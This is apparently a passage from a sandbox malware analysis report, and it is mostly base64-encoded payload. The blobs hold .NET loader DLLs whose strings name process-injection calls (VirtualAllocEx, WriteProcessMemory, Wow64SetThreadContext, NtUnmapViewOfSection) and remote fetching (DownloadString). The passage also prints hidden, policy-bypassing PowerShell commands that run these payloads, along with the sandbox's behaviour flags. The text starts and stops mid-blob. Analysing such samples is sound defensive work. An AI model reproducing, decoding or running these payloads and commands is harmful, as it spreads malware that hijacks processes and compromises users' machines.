W9uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAE50VW5tYXBWaWV3T2ZTZWN0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEV4Y2VwdGlvbgBIYW5kbGVSdW4AQ3VsdHVyZUluZm8Ac3RhcnR1cEluZm8AWmVybwBEZXNrdG9wAG1fQXBwT2JqZWN0UHJvdmlkZXIAbV9Vc2VyT2JqZWN0UHJvdmlkZXIAbV9Db21wdXRlck9iamVjdFByb3ZpZGVyAG1fTXlXZWJTZXJ2aWNlc09iamVjdFByb3ZpZGVyAEJ1ZmZlcgBidWZmZXIAZ2V0X1Jlc291cmNlTWFuYWdlcgBTeXN0ZW0uQ29kZURvbS5Db21waWxlcgBnZXRfVXNlcgBCaXRDb252ZXJ0ZXIAZ2V0X0NvbXB1dGVyAE15Q29tcHV0ZXIAU3RkRXJyb3IAQ2xlYXJQcm9qZWN0RXJyb3IAU2V0UHJvamVjdEVycm9yAEFjdGl2YXRvcgAuY3RvcgAuY2N0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXMATXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuTXkuUmVzb3VyY2VzAENsYXNzTGlicmFyeTEuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBpbmhlcml0SGFuZGxlcwB0aHJlYWRBdHRyaWJ1dGVzAHByb2Nlc3NBdHRyaWJ1dGVzAEdldEJ5dGVzAGNyZWF0aW9uRmxhZ3MAZHdGbGFncwBnZXRfU2V0dGluZ3MATXlTZXR0aW5ncwBSZWZlcmVuY2VFcXVhbHMAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAFJ1bnRpbWVIZWxwZXJzAENyZWF0ZVByb2Nlc3MAcHJvY2VzcwBiYXNlQWRkcmVzcwBhZGRyZXNzAENvbmNhdABGb3JtYXQAT2JqZWN0AE15UHJvamVjdABwcm90ZWN0AGdldF9EZWZhdWx0AGVudmlyb25tZW50AFN0ZElucHV0AFN0ZE91dHB1dABtX0NvbnRleHQAV293NjRHZXRUaHJlYWRDb250ZXh0AFdvdzY0U2V0VGhyZWFkQ29udGV4dABjb250ZXh0AHdTaG93V2luZG93AFZpcnR1YWxBbGxvY0V4AENsYXNzTGlicmFyeTEuTXkAQXJyYXkAZ2V0X0Fzc2VtYmx5AEJsb2NrQ29weQBSZWFkUHJvY2Vzc01lbW9yeQBXcml0ZVByb2Nlc3NNZW1vcnkAY3VycmVudERpcmVjdG9yeQBTeXN0ZW0uU2VjdXJpdHkASXNOdWxsT3JFbXB0eQBNeVNldHRpbmdzUHJvcGVydHkAAAAAAC9DAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4AUgBlAHMAbwB1AHIAYwBlAHMAAAsiAHsAMAB9ACIAAAMgAAAAAAAXcD7ydsIcRpthSuvAB90GAAMgAAEFIAEBERUGFRIoARIMBhUSKAESCAYVEigBEh0GFRIoARIkBCAAEwAEAAEcHAQgAQIcAyAACAYAARItETEDIAAOAh4ABRABAB4ABhUSOQETAAYVEigBEwAHBhUSOQETAAITAAUgAQETAAUAAgIcHAQgABJFBiACAQ4SRQYAARJNEk0CBg4FAAIODhwFAAEIEi0EAAECDgYAAw4ODg4CBhgGAAIIHQUIAwAACAYAAgYdBQgCHQUKAAUBEnUIEnUICAUAAR0FCAUAAQESZQUAARJZCAMAAAEEIAEBCAYgAQERgJEEIAEBDgQgAQECBSACAQ4OByAEAQ4ODg4EBwESDAQHARIIBAcBEh0EBwESJAcHAxI9AhI9BAcBEkEEBwESGAUHAwIIAjUHLQIIDhEwESwICB0ICAgICAIICAYdBQgCAgICAgICAgICAggICAgIAh0FAgICAgICAhJZAgMHAQIDBwEIBAcBEi0DBwEOBQcCHgACBAoBHgAHBwMTABMAAgQKARMACLA/X38R1Qo6CLd6XFYZNOCJEDEALgAwAC4AMQA1AC4AMAAHBhUSKAESDAcGFRIoARIIBwYVEigBEh0HBhUSKAESJAMGEj0DBhJBAwYSGAIGCQIGCAIGBgQAABIMBAAAEggEAAASHQQAABIkBAAAEj0EAAASQQUAAQESQQQAABIYEQAKAg4OGBgCCRgOEBEwEBEsBgACAhgdCAoABQIYCBAICBAICgAFAhgIHQUIEAgFAAIIGAgIAAUIGAgICAgEAAEIGAYAAgIOHQUIAAQCDg4dBQIEIAASLQcQAQEeAB4ABzABAQEQHgAECAASDAQIABIIBAgAEh0ECAASJAQIABI9BAgAEkEECAASGAQoABMACAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAcBAAAAABIBAA1DbGFzc0xpYnJhcnkxAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDIxAAApAQAkNDUxNkUwRTEtNUMwRS00QjRFLTlBMzItOUUzN0UyM0U3NDI2AAAMAQAHMS4wLjAuMAAASQEAGi5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC41AQBUDhRGcmFtZXdvcmtEaXNwbGF5TmFtZRIuTkVUIEZyYW1ld29yayA0LjUEAQAAAAgBAAEAAAAAABgBAApNeVRlbXBsYXRlCDExLjAuMC4wAABAAQAzU3lzdGVtLlJlc291cmNlcy5Ub29scy5TdHJvbmdseVR5cGVkUmVzb3VyY2VCdWlsZGVyBzQuMC4wLjAAAFkBAEtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IIMTIuMC4wLjAAAAgBAAIAAAAAAGEBADRTeXN0ZW0uV2ViLlNlcnZpY2VzLlByb3RvY29scy5Tb2FwSHR0cENsaWVudFByb3RvY29sEkNyZWF0ZV9fSW5zdGFuY2VfXxNEaXNwb3NlX19JbnN0YW5jZV9fAAAAHQEAAQBUAhVTdHJpcEFmdGVyT2JmdXNjYXRpb24AEAEAC015LkNvbXB1dGVyAAATAQAOTXkuQXBwbGljYXRpb24AAAwBAAdNeS5Vc2VyAAATAQAOTXkuV2ViU2VydmljZXMAABABAAtNeS5TZXR0aW5ncwAAALQAAADOyu++AQAAAJEAAABsU3lzdGVtLlJlc291cmNlcy5SZXNvdXJjZVJlY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');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:672
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$LHgK = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAN2VK9EAAAAAAAAAAOAAIiALAVAAAFAAAAAGAAAAAAAAZm8AAAAgAAAAgAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAADAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABFvAABPAAAAAIAAAJgDAAAAAAAAAAAAAAAAAAAAAAAAAKAAAAwAAABobgAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAbE8AAAAgAAAAUAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAJgDAAAAgAAAAAQAAABSAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAKAAAAACAAAAVgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABFbwAAAAAAAEgAAAACAAUAFCQAAGwZAAABAAAAAAAAAIA9AADoMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKBcAAAoqJgACKBgAAAoAKqZzGQAACoABAAAEcxoAAAqAAgAABHMbAAAKgAMAAARzHAAACoAEAAAEKhMwAQAQAAAAAQAAEQB+AQAABG8dAAAKCisABioTMAEAEAAAAAIAABEAfgIAAARvHgAACgorAAYqEzABABAAAAADAAARAH4DAAAEbx8AAAoKKwAGKhMwAQAQAAAABAAAEQB+BAAABG8gAAAKCisABioTMAIAPAAAAAUAABEAfgUAAAQUKCEAAAoLBywhcgEAAHDQBQAAAigiAAAKbyMAAApzJAAACgwIgAUAAAQAAH4FAAAECisABioTMAEACwAAAAYAABEAfgYAAAQKKwAGKiIAAoAGAAAEKhMwAwAmAAAABwAAEQAoCAAABnIxAABwfgYAAARvJQAACigmAAAKCwd0BQAAGworAAYqVnMNAAAGKCcAAAp0BgAAAoAHAAAEKh4CKCgAAAoqEzABAAsAAAAIAAARAH4HAAAECisABioAEzABAAsAAAAIAAARACgOAAAGCisABioeAigpAAAKKgAbMAcABgEAAAkAABEAAHJNAABwKCoAAAoNCSwDACtFAHMrAAAKEwRzLAAAChMFEQUXby0AAAoAEQVygQAAcG8uAAAKABEFcvUAAHBvLwAACgARBBEFbzAAAAoAEQRvMQAACiYAfjIAAApymgEAcBdvMwAACgoGcvYBAHByTQAAcG80AAAKAAZvNQAACgBzNgAACgIoNwAACig4AAAKCwcoNwAACgtyCAIAcAwIck4CAHAoOQAACgwoOgAACigLAAAGbzsAAApyZgIAcG88AAAKcpACAHBvPQAAChQYjRcAAAElFghymAIAcCg5AAAKoiUXByg+AAAKom8/AAAKJt4QJShAAAAKEwYAKEEAAAreAAAqAAABEAAAAAABAPP0ABAlAAABEzACABIAAAAKAAARAAIDKCYAAAooQgAACgorAAYqAAATMAEADAAAAAsAABEAAihDAAAKCisABioTMAEAEAAAAAwAABEA0AkAAAIoIgAACgorAAYqEzABAAwAAAANAAARAAIoRAAACgorAAYqEzACAB0AAAAOAAARAAKMBgAAGxT+AQsHLAgoAQAAKworBQACCisABiomAAP+FQYAABsqJgACKCkAAAoAKgAAABMwAgA1AAAADwAAEQACe0YAAApvRwAACgsHjAkAABsU/gEMCCwUKAIAACsLAntGAAAKB29IAAAKAAAABworAAYqUgACKCkAAAoAAnNJAAAKfUYAAAoqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAAB0CAAAI34AAOAIAAAcCQAAI1N0cmluZ3MAAAAA/BEAALACAAAjVVMArBQAABAAAAAjR1VJRAAAALwUAACwBAAAI0Jsb2IAAAAAAAAAAgAAAVcVogkJDwAAAPoBMwAWAAABAAAANQAAAAoAAAAIAAAAGgAAAAUAAABJAAAAQAAAAA8AAAAFAAAACgAAAAsAAAAJAAAAAQAAAAMAAAABAAAAAgAAAAMAAAACAAAAAADuBAEAAAAAAAYAtAObBwYAIQSbBwYAiwLcBg8ACQgAAAYA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AAD/AEACAgAEAAMAAgAFAAUAAgAGAAcAAgAHAAkAAgAIAAsAAgAJAA0AAQAKAA0AAgALAA8AAgAOABEAAgAPABMAAgAZABUALgA1ADwAQwCgAFQBagF5AYABBIAAAAEAAAAAAAAAAAAAAAAAVAAAAAQAAAAAAAAAAAAAAI4BsQAAAAAABAAAAAAAAAAAAAAAjgEABQAAAAAKAAAAAAAAAAAAAACXAboAAAAAAAAAAAABAAAA5wcAAAkABAAKAAQAAAAQABQAfAAAABAALQB8AAAAAAAvAHwAiwBdAYsAgwEAAAAAAENvbnRleHRWYWx1ZWAxAFRocmVhZFNhZmVPYmplY3RQcm92aWRlcmAxAENsYXNzMQBnZXRfQ2xhc3NMaWJyYXJ5MQBNaWNyb3NvZnQuV2luMzIAQ2xhc3NMaWJyYXJ5MwA8TW9kdWxlPgBMQWJXSksAU3lzdGVtLklPAFQARGlzcG9zZV9fSW5zdGFuY2VfXwBDcmVhdGVfX0luc3RhbmNlX18AUHJvamVjdERhdGEAbXNjb3JsaWIATWljcm9zb2Z0LlZpc3VhbEJhc2ljAExvYWQAU3luY2hyb25pemVkAEdldE1ldGhvZABDcmVhdGVJbnN0YW5jZQBnZXRfR2V0SW5zdGFuY2UAZGVmYXVsdEluc3RhbmNlAGluc3RhbmNlAEdldEhhc2hDb2RlAEludm9rZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBGaWxlAHNldF9XaW5kb3dTdHlsZQBQcm9jZXNzV2luZG93U3R5bGUAc2V0X0ZpbGVOYW1lAEdldFR5cGUAZ2V0X0N1bHR1cmUAc2V0X0N1bHR1cmUAcmVzb3VyY2VDdWx0dXJlAE1ldGhvZEJhc2UAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAENsb3NlAFN0clJldmVyc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBIZWxwS2V5d29yZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBEZWJ1Z2dlckhpZGRlbkF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAU2V0VmFsdWUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5NeVNlcnZpY2VzLkludGVybmFsAFN5c3RlbS5Db21wb25lbnRNb2RlbABDbGFzc0xpYnJhcnkzLmRsbABTeXN0ZW0AcmVzb3VyY2VNYW4AU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbgBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AZ2V0X0FwcGxpY2F0a